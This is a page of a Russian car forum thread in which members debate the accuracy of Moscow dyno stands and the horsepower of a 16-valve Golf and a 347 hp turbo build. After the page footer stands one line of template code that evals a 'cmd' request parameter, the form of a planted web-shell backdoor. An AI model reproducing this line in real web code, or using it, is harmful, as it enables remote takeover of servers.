+ Ответить в теме
Страница 15 из 17 ПерваяПервая ... 5 13 14 15 16 17 ПоследняяПоследняя
Показано с 141 по 150 из 165

Тема: г2 16вТ


  1. #141
    Мимо проходил Fit is on a distinguished road Аватар для Fit
    Регистрация
    19.12.2007
    Сообщений
    88
    А макси там Был тоже на Замере? Я просто по никам не совсем знаю кого-то..

  2. #142
    GTI-Racing Maxi is on a distinguished road Аватар для Maxi
    Регистрация
    18.01.2008
    Откуда
    Москва
    Машина
    ClioIIrs
    Сообщений
    23
    Конкретно тогда не был.
    Вообще был много раз.
    Стенд не плохой - он просто непонятно как работает и по каким формулам мерит и коректирует.

  3. #143
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    <div class='quotetop'>Цитата(Maxi &#064; Jan 21 2008, 18&#58;55) <{POST_SNAPBACK}></div><div class='quotemain'>Конкретно тогда не был.
    Вообще был много раз.
    Стенд не плохой - он просто непонятно как работает и по каким формулам мерит и коректирует.[/b][/quote]

    Цифры пятых носков неоднократно замерявшихся впринципе вполе соответствуют заявленным после чип-тюниха. Кривая момента конечно же из-за брабанов будет лаговая, но все же........... тем более резалты надо проверить.
    песок сыпется....не останавливайтесь на достигнутом !

  4. #144
    GTI-Racing Maxi is on a distinguished road Аватар для Maxi
    Регистрация
    18.01.2008
    Откуда
    Москва
    Машина
    ClioIIrs
    Сообщений
    23
    <div class='quotetop'>Цитата(BON &#064; Jan 21 2008, 18&#58;59) <{POST_SNAPBACK}></div><div class='quotemain'>Цифры пятых носков неоднократно замерявшихся впринципе вполе соответствуют заявленным после чип-тюниха.[/b][/quote]
    Я рад что у вас все зашибись. Стоковый таз 2112 показал 107 сил без всякого чиптюнинга.

  5. #145
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    <div class='quotetop'>Цитата(Maxi &#064; Jan 21 2008, 19&#58;04) <{POST_SNAPBACK}></div><div class='quotemain'>Я рад что у вас все зашибись. Стоковый таз 2112 показал 107 сил без всякого чиптюнинга.[/b][/quote]

    не любит этот стенд наверное отечественные афто стоит призадумать сколько он может показать, мну всегда это было интересно приехать на своей, но чего то лень, да и далеко тащится не охота.

    Как же ты тогда сказал про цифры с Аликовского носка что они (не люблю эти пацанские сравнения возрастные) заметно больше, хотя я правда и не увидел где, да и не интересно мне сравнивать абсолютно разные конфигурации, но не по своей воле, а по воле разных людей, надеюсь они это без корысти пытаются сравнивать.

    А почему бы не загнать тогда на стенд ступичный его в другом месте? вдруг будет 300 сил и тогда можно еще раз всем сказать что все - угли ;)
    песок сыпется....не останавливайтесь на достигнутом !

  6. #146
    GTI-Racing john@rallye is on a distinguished road Аватар для john@rallye
    Регистрация
    11.08.2006
    Откуда
    msk
    Машина
    lupo low&slow, mk1 cabrio сток, mk1 cabrio не сток
    Сообщений
    1,049
    <div class='quotetop'>Цитата(BON &#064; Jan 21 2008, 22&#58;26) <{POST_SNAPBACK}></div><div class='quotemain'>не любит этот стенд наверное отечественные афто стоит призадумать сколько он может показать, мну всегда это было интересно приехать на своей, но чего то лень, да и далеко тащится не охота.

    Как же ты тогда сказал про цифры с Аликовского носка что они (не люблю эти пацанские сравнения возрастные) заметно больше, хотя я правда и не увидел где, да и не интересно мне сравнивать абсолютно разные конфигурации, но не по своей воле, а по воле разных людей, надеюсь они это без корысти пытаются сравнивать.

    А почему бы не загнать тогда на стенд ступичный его в другом месте? вдруг будет 300 сил и тогда можно еще раз всем сказать что все - угли ;)[/b][/quote]
    я думаю в данном споре ссылаться не аликовский гольф некорректно ниразу )
    fuckfueleconomy

  7. #147
    GTI-Racing Maxi is on a distinguished road Аватар для Maxi
    Регистрация
    18.01.2008
    Откуда
    Москва
    Машина
    ClioIIrs
    Сообщений
    23
    <div class='quotetop'>Цитата(BON &#064; Jan 21 2008, 22&#58;26) <{POST_SNAPBACK}></div><div class='quotemain'>не любит этот стенд наверное отечественные афто стоит призадумать сколько он может показать, мну всегда это было интересно приехать на своей, но чего то лень, да и далеко тащится не охота.

    Как же ты тогда сказал про цифры с Аликовского носка что они (не люблю эти пацанские сравнения возрастные) заметно больше, хотя я правда и не увидел где, да и не интересно мне сравнивать абсолютно разные конфигурации, но не по своей воле, а по воле разных людей, надеюсь они это без корысти пытаются сравнивать.

    А почему бы не загнать тогда на стенд ступичный его в другом месте? вдруг будет 300 сил и тогда можно еще раз всем сказать что все - угли ;)[/b][/quote]

    Такой финт мы делали с Моторкрафтом.
    Когда намерили с таза 347сил на этом стенде поехали в люк.
    Там просто была другая ситуация - замер оплачивали люди из "ЛадаСпортКраснодар", поскольку не верили в резалт ваще. В люке стенд чуть не рыгнул от этого мотора - еле еле удалось померить, у него от перегрева просто тупо нагрузка пропадала. При этом нам там такую херню задували в уши - что уши реально вяли от этих работников люка&#33; Под конец зассали мерить на полностью закрытом WG (нам то чо - пофигу, мы новый мотор соберем не заржавеет). В люке в результате на меньшей давке но в режиме регулирования смеси было снято 340 сил&#33; При этом у них не фурычили датчики температуры воздуха - ну вобщем ниачом замер.

    Так вот если ты хочешь "померить Алика на ступичном стенде" - ты дай алику 100&#036; на замер, я думаю ему не в падлу будет заехать в люк.

    А так нет смысла - получится почти то же самое. Хотя то же самое не получится - новая турбина живее старой будет полюб.

  8. #148
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    <div class='quotetop'>Цитата(john@rallye &#064; Jan 21 2008, 22&#58;32) <{POST_SNAPBACK}></div><div class='quotemain'>я думаю в данном споре ссылаться не аликовский гольф некорректно ниразу )[/b][/quote]

    согласен.
    З.ы. но почему то есть люди которые это всегда пытаются сделать, и не дают спокойно насладиться дискуссией.
    песок сыпется....не останавливайтесь на достигнутом !

  9. #149
    GTI-Racing Maxi is on a distinguished road Аватар для Maxi
    Регистрация
    18.01.2008
    Откуда
    Москва
    Машина
    ClioIIrs
    Сообщений
    23
    Кстати если уж заговорили про стенды - самый правильный стенд Маха в независимости&#33;
    На втором месте - питлейн (только для клиентов как реальных так и потенциальных там замеры не катят - ибо могут читить&#33;).
    Остальное это все так - игрушки.
    люк такая же игрушка как r2r.

  10. #150
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    <div class='quotetop'>Цитата(Maxi &#064; Jan 21 2008, 22&#58;46) <{POST_SNAPBACK}></div><div class='quotemain'>Такой финт мы делали с Моторкрафтом.
    Когда намерили с таза 347сил на этом стенде поехали в люк.
    Там просто была другая ситуация - замер оплачивали люди из "ЛадаСпортКраснодар", поскольку не верили в резалт ваще. В люке стенд чуть не рыгнул от этого мотора - еле еле удалось померить, у него от перегрева просто тупо нагрузка пропадала. При этом нам там такую херню задували в уши - что уши реально вяли от этих работников люка&#33; Под конец зассали мерить на полностью закрытом WG (нам то чо - пофигу, мы новый мотор соберем не заржавеет). В люке в результате на меньшей давке но в режиме регулирования смеси было снято 340 сил&#33; При этом у них не фурычили датчики температуры воздуха - ну вобщем ниачом замер.

    Так вот если ты хочешь "померить Алика на ступичном стенде" - ты дай алику 100&#036; на замер, я думаю ему не в падлу будет заехать в люк.

    А так нет смысла - получится почти то же самое. Хотя то же самое не получится - новая турбина живее старой будет полюб.[/b][/quote]

    Зачем слушать работников. Общаться надо с конкретным человеком на одном языке и очно. Как можно впитывать что-то от людей задача которых сделать замер. Ты случайно не пытался в Автоганзе на барабанах общаться с работниками тюних-подразделения ? я попробывал и так и не смог обяснить что это торчит в пайпах (BlowOff )? что мне теперь тоже об этом писать про задувание ушей ?
    Замер Моторкрафта был давненько если мне не изменяет память, на тот момент стенд действительно мог быть в несовсем готовом состоянии. На сегодняшний момент, его после перестройки и переезда собрали как надо. У любого стенда есть профилактические работы, я еще не видел ни разу, чтоб стенд был работоспособен всегда много лет подряд. То там скажут извините, то там скажут попозже, типа не готов, переделка, перенастройка и. т.д.
    Посмеялси про то что под конец зассали замерять, громко очень сказано. На то наверное были какие то причины. Может быть им зная объективные цифры не хотелось бы выступать полигоном, для творений рук человеческих, и в случае чего не отскребать со стен остатки.
    Мотор в 347 пони конечно же заставил рыгнуть стенд ступичный в Люкасе, это беспорно, только непонятно про замеры машин с два раза больши пони которые так не думали и ничего ни куда не пропадало.
    Странно, неповезло наверное, был не удачный гороскоп ;)

    100 баксов Алику не дам. Он я думаю не обидеться. Его машина мне больше интересна, чем опять нескрываемый и особенный вид общения.
    песок сыпется....не останавливайтесь на достигнутом !

+ Ответить в теме
Страница 15 из 17 ПерваяПервая ... 5 13 14 15 16 17 ПоследняяПоследняя

Похожие темы

  1. 16вт
    от john@rallye в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 68
    Последнее сообщение: 14.09.2009, 14:05

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}